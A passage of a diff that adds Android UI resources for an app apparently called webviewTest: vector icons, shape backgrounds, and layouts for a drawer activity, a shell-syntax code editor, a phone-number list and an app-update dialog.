+        android:pathData="M65.3,45.828l3.8,-6.6c0.2,-0.4 0.1,-0.9 -0.3,-1.1c-0.4,-0.2 -0.9,-0.1 -1.1,0.3l-3.9,6.7c-6.3,-2.8 -13.4,-2.8 -19.7,0l-3.9,-6.7c-0.2,-0.4 -0.7,-0.5 -1.1,-0.3C38.8,38.328 38.7,38.828 38.9,39.228l3.8,6.6C36.2,49.428 31.7,56.028 31,63.928h46C76.3,56.028 71.8,49.428 65.3,45.828zM43.4,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2c-0.3,-0.7 -0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C45.3,56.528 44.5,57.328 43.4,57.328L43.4,57.328zM64.6,57.328c-0.8,0 -1.5,-0.5 -1.8,-1.2s-0.1,-1.5 0.4,-2.1c0.5,-0.5 1.4,-0.7 2.1,-0.4c0.7,0.3 1.2,1 1.2,1.8C66.5,56.528 65.6,57.328 64.6,57.328L64.6,57.328z"
+        android:strokeWidth="1"
+        android:strokeColor="#00000000" />
+</vector>

+ 8 - 0
webviewTest/app/src/main/res/drawable/bg_nav_title.xml

@@ -0,0 +1,8 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape xmlns:android="http://schemas.android.com/apk/res/android">
+    <gradient
+        android:endColor="#ff000000"
+        android:gradientRadius="720"
+        android:startColor="#ff333333"
+        android:type="radial" />
+</shape>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_add_white.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M19,13h-6v6h-2v-6H5v-2h6V5h2v6h6v2z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_copy_white.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FFFFFFFF"
+        android:pathData="M16,1L4,1c-1.1,0 -2,0.9 -2,2v14h2L4,3h12L16,1zM19,5L8,5c-1.1,0 -2,0.9 -2,2v14c0,1.1 0.9,2 2,2h11c1.1,0 2,-0.9 2,-2L21,7c0,-1.1 -0.9,-2 -2,-2zM19,21L8,21L8,7h11v14z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_delete_black.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#333333"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_delete_white.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FFFFFFFF"
+        android:pathData="M6,19c0,1.1 0.9,2 2,2h8c1.1,0 2,-0.9 2,-2L18,7L6,7v12zM8.46,11.88l1.41,-1.41L12,12.59l2.12,-2.12 1.41,1.41L13.41,14l2.12,2.12 -1.41,1.41L12,15.41l-2.12,2.12 -1.41,-1.41L10.59,14l-2.13,-2.12zM15.5,4l-1,-1h-5l-1,1L5,4v2h14L19,4z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_edit_black.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#333333"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M3,17.25V21h3.75L17.81,9.94l-3.75,-3.75L3,17.25zM20.71,7.04c0.39,-0.39 0.39,-1.02 0,-1.41l-2.34,-2.34c-0.39,-0.39 -1.02,-0.39 -1.41,0l-1.83,1.83 3.75,3.75 1.83,-1.83z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_launcher_background.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="108dp"
+    android:height="108dp"
+    android:shape="rectangle">
+    <size
+        android:width="100dp"
+        android:height="100dp" />
+    <solid android:color="#ffffff" />
+</shape>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_logcat_black.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#ff333333"
+        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_logcat_white.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FFFFFFFF"
+        android:pathData="M11,15h2v2h-2zM11,7h2v6h-2zM11.99,2C6.47,2 2,6.48 2,12s4.47,10 9.99,10C17.52,22 22,17.52 22,12S17.52,2 11.99,2zM12,20c-4.42,0 -8,-3.58 -8,-8s3.58,-8 8,-8 8,3.58 8,8 -3.58,8 -8,8z" />
+</vector>

+ 12 - 0
webviewTest/app/src/main/res/drawable/ic_menu_camera.xml

@@ -0,0 +1,12 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M12,12m-3.2,0a3.2,3.2 0,1 1,6.4 0a3.2,3.2 0,1 1,-6.4 0" />
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M9,2L7.17,4H4c-1.1,0 -2,0.9 -2,2v12c0,1.1 0.9,2 2,2h16c1.1,0 2,-0.9 2,-2V6c0,-1.1 -0.9,-2 -2,-2h-3.17L15,2H9zm3,15c-2.76,0 -5,-2.24 -5,-5s2.24,-5 5,-5 5,2.24 5,5 -2.24,5 -5,5z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_menu_file_black.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M6,2c-1.1,0 -1.99,0.9 -1.99,2L4,20c0,1.1 0.89,2 1.99,2L18,22c1.1,0 2,-0.9 2,-2L20,8l-6,-6L6,2zM13,9L13,3.5L18.5,9L13,9z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_menu_file_white.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FFffffff"
+        android:pathData="M6,2c-1.1,0 -1.99,0.9 -1.99,2L4,20c0,1.1 0.89,2 1.99,2L18,22c1.1,0 2,-0.9 2,-2L20,8l-6,-6L6,2zM13,9L13,3.5L18.5,9L13,9z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_menu_gallery.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M22,16V4c0,-1.1 -0.9,-2 -2,-2H8c-1.1,0 -2,0.9 -2,2v12c0,1.1 0.9,2 2,2h12c1.1,0 2,-0.9 2,-2zm-11,-4l2.03,2.71L16,11l4,5H8l3,-4zM2,6v14c0,1.1 0.9,2 2,2h14v-2H4V6H2z" />
+</vector>

+ 9 - 0
webviewTest/app/src/main/res/drawable/ic_menu_slideshow.xml

@@ -0,0 +1,9 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M4,6H2v14c0,1.1 0.9,2 2,2h14v-2H4V6zm16,-4H8c-1.1,0 -2,0.9 -2,2v12c0,1.1 0.9,2 2,2h12c1.1,0 2,-0.9 2,-2V4c0,-1.1 -0.9,-2 -2,-2zm-8,12.5v-9l6,4.5 -6,4.5z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_play_white.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M8,5v14l11,-7z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_save_white.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M17,3L5,3c-1.11,0 -2,0.9 -2,2v14c0,1.1 0.89,2 2,2h14c1.1,0 2,-0.9 2,-2L21,7l-4,-4zM12,19c-1.66,0 -3,-1.34 -3,-3s1.34,-3 3,-3 3,1.34 3,3 -1.34,3 -3,3zM15,9L5,9L5,5h10v4z" />
+</vector>

+ 10 - 0
webviewTest/app/src/main/res/drawable/ic_stop_white.xml

@@ -0,0 +1,10 @@
+<vector xmlns:android="http://schemas.android.com/apk/res/android"
+    android:width="24dp"
+    android:height="24dp"
+    android:tint="#FFFFFF"
+    android:viewportWidth="24.0"
+    android:viewportHeight="24.0">
+    <path
+        android:fillColor="#FF000000"
+        android:pathData="M6,6h12v12H6z" />
+</vector>

+ 8 - 0
webviewTest/app/src/main/res/drawable/progress_bar_ct.xml

@@ -0,0 +1,8 @@
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+    <item>
+        <shape>
+            <solid android:color="#663ED9" />
+            <corners android:radius="5dp" />
+        </shape>
+    </item>
+</selector>

+ 8 - 0
webviewTest/app/src/main/res/drawable/shape_button_primary.xml

@@ -0,0 +1,8 @@
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <gradient
+        android:angle="180"
+        android:endColor="#663ED9"
+        android:startColor="#663ED9" />
+    <corners android:radius="10dp" />
+</shape>

+ 17 - 0
webviewTest/app/src/main/res/drawable/shape_progress_style.xml

@@ -0,0 +1,17 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<layer-list xmlns:android="http://schemas.android.com/apk/res/android">
+    <item android:id="@android:id/background">
+        <shape>
+            <corners android:radius="5dp" />
+            <gradient
+                android:endColor="#EEEEEE"
+                android:startColor="#EEEEEE" />
+        </shape>
+    </item>
+    <item android:id="@android:id/progress">
+        <scale
+            android:drawable="@drawable/progress_bar_ct"
+            android:scaleWidth="100%" />
+    </item>
+
+</layer-list>

+ 5 - 0
webviewTest/app/src/main/res/drawable/shape_view_white.xml

@@ -0,0 +1,5 @@
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <solid android:color="@color/white" />
+    <corners android:radius="10dp" />
+</shape>

+ 9 - 0
webviewTest/app/src/main/res/drawable/side_nav_bar.xml

@@ -0,0 +1,9 @@
+<shape xmlns:android="http://schemas.android.com/apk/res/android"
+    android:shape="rectangle">
+    <gradient
+        android:angle="135"
+        android:centerColor="#009688"
+        android:endColor="#00695C"
+        android:startColor="#4DB6AC"
+        android:type="linear" />
+</shape>

+ 38 - 0
webviewTest/app/src/main/res/layout/activity_ini_edit.xml

@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:orientation="vertical"
+    tools:context=".ui.IniEditActivity">
+
+
+    <com.google.android.material.appbar.AppBarLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <androidx.appcompat.widget.Toolbar
+            android:id="@+id/toolbar"
+            android:layout_width="match_parent"
+            android:layout_height="?attr/actionBarSize"
+            android:background="?attr/colorPrimary"
+            app:popupTheme="@style/ThemeOverlay.AppCompat.Light"
+            app:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar"
+            app:title="@string/menu_home"
+            app:titleTextColor="@color/white" />
+
+    </com.google.android.material.appbar.AppBarLayout>
+
+    <com.github.ahmadaghazadeh.editor.widget.CodeEditor
+        android:id="@+id/editText"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent"
+        android:theme="@style/Theme.Material3.Dark"
+        app:code="#"
+        app:isReadOnly="false"
+        app:isShowExtendedKeyboard="true"
+        app:lang="sh" />
+
+
+</LinearLayout>

+ 26 - 0
webviewTest/app/src/main/res/layout/activity_main.xml

@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.drawerlayout.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/drawer_layout"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:fitsSystemWindows="true"
+    tools:openDrawer="start">
+
+    <include
+        android:id="@+id/appBarMain"
+        layout="@layout/app_bar_main"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent" />
+
+    <com.google.android.material.navigation.NavigationView
+        android:id="@+id/nav_view"
+        android:layout_width="wrap_content"
+        android:layout_height="match_parent"
+        android:layout_gravity="start"
+        android:fitsSystemWindows="true"
+        app:headerLayout="@layout/nav_header_main"
+        app:menu="@menu/activity_main_drawer" />
+
+</androidx.drawerlayout.widget.DrawerLayout>

+ 29 - 0
webviewTest/app/src/main/res/layout/app_bar_main.xml

@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".ui.MainActivity">
+
+    <com.google.android.material.appbar.AppBarLayout
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+
+        <androidx.appcompat.widget.Toolbar
+            android:id="@+id/toolbar"
+            android:layout_width="match_parent"
+            android:layout_height="?attr/actionBarSize"
+            android:background="?attr/colorPrimary"
+            app:popupTheme="@style/ThemeOverlay.AppCompat.Light"
+            app:theme="@style/ThemeOverlay.AppCompat.Dark.ActionBar"
+            app:titleTextColor="@color/white" />
+
+    </com.google.android.material.appbar.AppBarLayout>
+
+    <include
+        android:id="@+id/contentMain"
+        layout="@layout/content_main" />
+
+
+</androidx.coordinatorlayout.widget.CoordinatorLayout>

+ 166 - 0
webviewTest/app/src/main/res/layout/content_main.xml

@@ -0,0 +1,166 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    app:layout_behavior="@string/appbar_scrolling_view_behavior"
+    tools:showIn="@layout/app_bar_main">
+
+    <fragment
+        android:id="@+id/nav_host_fragment"
+        android:name="androidx.navigation.fragment.NavHostFragment"
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        app:defaultNavHost="true"
+        app:layout_constraintBottom_toTopOf="@+id/constraintLayout"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintHorizontal_bias="0.0"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="parent"
+        app:layout_constraintVertical_bias="0.0"
+        app:navGraph="@navigation/mobile_navigation" />
+
+    <androidx.constraintlayout.widget.ConstraintLayout
+
+        android:id="@+id/constraintLayout"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_gravity="center"
+        android:background="@color/white"
+        app:layout_constraintBottom_toTopOf="@+id/workTv3"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent">
+
+        <TextView
+            android:id="@+id/netTv"
+            android:layout_width="0dp"
+            android:layout_height="wrap_content"
+            android:paddingStart="10dp"
+            android:textColor="@color/white"
+            android:background="@color/green"
+            android:textSize="14sp"
+            android:textStyle="bold"
+            app:layout_constraintBottom_toTopOf="@+id/rv"
+            app:layout_constraintEnd_toEndOf="parent"
+            app:layout_constraintStart_toStartOf="parent"
+            tools:text="11111" />
+
+        <androidx.recyclerview.widget.RecyclerView
+            android:id="@+id/rv"
+            android:layout_width="match_parent"
+            android:layout_height="200dp"
+            android:nestedScrollingEnabled="false"
+            app:layout_constraintBottom_toBottomOf="parent"
+            app:layout_constraintEnd_toEndOf="parent"
+            app:layout_constraintStart_toStartOf="parent"
+            tools:itemCount="51"
+            tools:listitem="@layout/layout_phone_item2" />
+
+
+    </androidx.constraintlayout.widget.ConstraintLayout>
+
+
+    <TextView
+        android:id="@+id/phone_tv"
+        android:layout_width="match_parent"
+        android:layout_height="30dp"
+        android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="center|start"
+        android:hint="@string/phone_number"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="@color/white"
+        android:textColorHint="@color/white"
+        android:visibility="gone"
+        app:layout_constraintBottom_toBottomOf="parent"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent" />
+
+
+    <TextView
+        android:id="@+id/workTv"
+        android:layout_width="0dp"
+        android:layout_height="wrap_content"
+        android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="#89FF00"
+        app:layout_constraintBottom_toTopOf="@+id/phone_tv"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        tools:text="1111111111111111111111111" />
+
+    <TextView
+        android:id="@+id/workTv2"
+        android:layout_width="0dp"
+        android:layout_height="wrap_content"
+        android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="#89FF00"
+        app:layout_constraintBottom_toTopOf="@+id/workTv"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        tools:text="1111111111111111111111111" />
+
+    <TextView
+        android:id="@+id/workTv3"
+        android:layout_width="0dp"
+        android:layout_height="wrap_content"
+        android:background="@color/black"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="start"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingStart="10dp"
+        android:scrollHorizontally="true"
+        android:singleLine="true"
+        android:textColor="#89FF00"
+        app:layout_constraintBottom_toTopOf="@+id/workTv2"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        tools:text="1111111111111111111111111" />
+
+    <TextView
+        android:id="@+id/textView2"
+        android:layout_width="0dp"
+        android:layout_height="0dp"
+        android:layout_margin="30dp"
+        android:background="@color/red"
+        android:ellipsize="marquee"
+        android:focusable="true"
+        android:focusableInTouchMode="true"
+        android:gravity="center"
+        android:marqueeRepeatLimit="marquee_forever"
+        android:paddingTop="3dp"
+        android:paddingBottom="3dp"
+        android:textColor="@color/black"
+        android:textColorHint="@color/white"
+        android:textSize="20sp"
+        android:textStyle="bold"
+        android:visibility="gone"
+        app:layout_constraintBottom_toBottomOf="@+id/nav_host_fragment"
+        app:layout_constraintEnd_toEndOf="parent"
+        app:layout_constraintStart_toStartOf="parent"
+        app:layout_constraintTop_toTopOf="@+id/nav_host_fragment"
+        tools:text="1111111111" />
+</androidx.constraintlayout.widget.ConstraintLayout>

+ 123 - 0
webviewTest/app/src/main/res/layout/dialog_upload_app.xml

@@ -0,0 +1,123 @@
+<?xml version="1.0" encoding="utf-8"?>
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="310dp"
+    android:layout_height="wrap_content"
+    android:layout_gravity="center"
+    android:orientation="vertical"
+    tools:viewBindingIgnore="true">
+
+    <LinearLayout
+        android:layout_width="310dp"
+        android:layout_height="wrap_content"
+        android:background="@drawable/shape_view_white"
+        android:gravity="center_horizontal"
+        android:orientation="vertical"
+        android:paddingStart="10dp"
+        android:paddingTop="10dp"
+        android:paddingEnd="10dp"
+        android:paddingBottom="20dp">
+
+
+        <TextView
+            android:id="@+id/titleTv"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="16dp"
+            android:includeFontPadding="false"
+            android:text="@string/new_update_title"
+            android:textColor="#1a1a1a"
+            android:textSize="17sp"
+            android:textStyle="bold" />
+
+        <TextView
+            android:id="@+id/versionCodeTv"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="7dp"
+            android:includeFontPadding="false"
+            android:paddingStart="10dp"
+            android:paddingTop="2dp"
+            android:paddingEnd="10dp"
+            android:paddingBottom="2dp"
+            android:textColor="#1a1a1a"
+            android:textSize="14sp"
+            tools:text="V1.1.2" />
+
+        <TextView
+            android:id="@+id/updateTxtTv"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="12dp"
+            android:includeFontPadding="false"
+            android:paddingStart="10dp"
+            android:paddingTop="2dp"
+            android:paddingEnd="10dp"
+            android:paddingBottom="25dp"
+            android:textColor="#1a1a1a"
+            android:textSize="14sp"
+            tools:text="这里吧啦吧啦显示更新内容" />
+
+        <LinearLayout
+            android:id="@+id/choseLayout"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:layout_marginTop="15dp"
+            android:gravity="center"
+            android:orientation="vertical"
+            android:visibility="visible"
+            tools:visibility="visible">
+
+            <TextView
+                android:id="@+id/submitBt"
+                style="@style/style_primary"
+                android:layout_width="match_parent"
+                android:layout_height="44dp"
+                android:gravity="center"
+                android:text="@string/update_immediately"
+                android:textSize="14sp" />
+
+            <TextView
+                android:id="@+id/cancelBt"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:paddingTop="15sp"
+                android:text="@string/not_updating_for_now"
+                android:textColor="#9DA8AE"
+                android:textSize="12sp"
+                android:visibility="gone"
+                tools:visibility="visible" />
+        </LinearLayout>
+
+        <LinearLayout
+            android:id="@+id/progressLayout"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:orientation="vertical"
+            android:paddingBottom="10dp"
+            android:visibility="gone"
+            tools:visibility="visible">
+
+            <TextView
+                android:id="@+id/rate"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:layout_gravity="center"
+                android:textColor="#663ED9"
+                android:textSize="14sp"
+                tools:text="68%" />
+
+            <ProgressBar
+                android:id="@+id/downLoadProgress"
+                style="?android:attr/progressBarStyleHorizontal"
+                android:layout_width="match_parent"
+                android:layout_height="8dp"
+                android:layout_marginTop="10dp"
+                android:progressDrawable="@drawable/shape_progress_style"
+                tools:progress="4" />
+        </LinearLayout>
+
+
+    </LinearLayout>
+
+</LinearLayout>

+ 21 - 0
webviewTest/app/src/main/res/layout/fragment_home.xml

@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.coordinatorlayout.widget.CoordinatorLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    tools:context=".ui.HomeFragment">
+
+
+    <androidx.swiperefreshlayout.widget.SwipeRefreshLayout
+        android:id="@+id/refreshView"
+        android:layout_width="match_parent"
+        android:layout_height="match_parent">
+
+        <androidx.recyclerview.widget.RecyclerView
+            android:id="@+id/recyclerView"
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content" />
+    </androidx.swiperefreshlayout.widget.SwipeRefreshLayout>
+
+
+</androidx.coordinatorlayout.widget.CoordinatorLayout>

+ 78 - 0
webviewTest/app/src/main/res/layout/item_recycler_main.xml

@@ -0,0 +1,78 @@
+<?xml version="1.0" encoding="utf-8"?>
+<androidx.cardview.widget.CardView xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:card_view="http://schemas.android.com/apk/res-auto"
+    android:id="@+id/card"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:layout_marginLeft="4dp"
+    android:layout_marginTop="2dp"
+    android:layout_marginRight="4dp"
+    android:layout_marginBottom="2dp"
+
+    card_view:cardCornerRadius="4dp"
+    card_view:cardUseCompatPadding="true">
+
+    <androidx.constraintlayout.widget.ConstraintLayout
+        android:id="@+id/info_container"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:gravity="center"
+        android:minHeight="72dp"
+        android:orientation="horizontal">
+
+
+        <TextView
+            android:id="@+id/tv_name"
+            android:layout_width="0dp"
+            android:layout_height="match_parent"
+            android:layout_margin="@dimen/commonMargin"
+            android:layout_weight="1"
+            android:gravity="center_vertical"
+            android:lines="1"
+            android:paddingLeft="16dp"
+            android:paddingRight="16dp"
+            android:textAppearance="@style/TextAppearance.AppCompat.Subhead"
+            card_view:layout_constraintBottom_toBottomOf="parent"
+            card_view:layout_constraintEnd_toStartOf="@+id/iv_play"
+            card_view:layout_constraintStart_toStartOf="parent"
+            card_view:layout_constraintTop_toTopOf="parent" />
+
+        <ImageView
+            android:id="@+id/iv_play"
+            android:layout_width="@dimen/dimensImageSize"
+            android:layout_height="@dimen/dimensImageSize"
+            android:background="?android:attr/selectableItemBackground"
+            android:padding="@dimen/dimensImagePadding"
+            android:src="@drawable/ic_play_white"
+            app:tint="@color/black"
+            card_view:layout_constraintBottom_toBottomOf="parent"
+            card_view:layout_constraintEnd_toStartOf="@+id/iv_edit"
+            card_view:layout_constraintTop_toTopOf="parent" />
+
+        <ImageView
+            android:id="@+id/iv_edit"
+            android:layout_width="@dimen/dimensImageSize"
+            android:layout_height="@dimen/dimensImageSize"
+            android:background="?android:attr/selectableItemBackground"
+            android:padding="@dimen/dimensImagePadding"
+            android:src="@drawable/ic_edit_black"
+            app:tint="@color/black"
+            card_view:layout_constraintBottom_toBottomOf="parent"
+            card_view:layout_constraintEnd_toStartOf="@+id/iv_delete"
+            card_view:layout_constraintTop_toTopOf="parent" />
+
+        <ImageView
+            android:id="@+id/iv_delete"
+            android:layout_width="@dimen/dimensImageSize"
+            android:layout_height="@dimen/dimensImageSize"
+            android:background="?android:attr/selectableItemBackground"
+            android:padding="@dimen/dimensImagePadding"
+            android:src="@drawable/ic_delete_black"
+            app:tint="@color/black"
+            card_view:layout_constraintBottom_toBottomOf="parent"
+            card_view:layout_constraintEnd_toEndOf="parent"
+            card_view:layout_constraintTop_toTopOf="parent" />
+
+    </androidx.constraintlayout.widget.ConstraintLayout>
+</androidx.cardview.widget.CardView>

+ 47 - 0
webviewTest/app/src/main/res/layout/layout_phone_item.xml

@@ -0,0 +1,47 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+
+<androidx.constraintlayout.widget.ConstraintLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:card_view="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/info_container"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content"
+    android:gravity="center"
+    android:orientation="horizontal">
+
+
+    <TextView
+        android:id="@+id/text"
+        android:layout_width="0dp"
+        android:layout_height="match_parent"
+        android:layout_margin="@dimen/commonMargin"
+        android:layout_weight="1"
+        android:gravity="center_vertical"
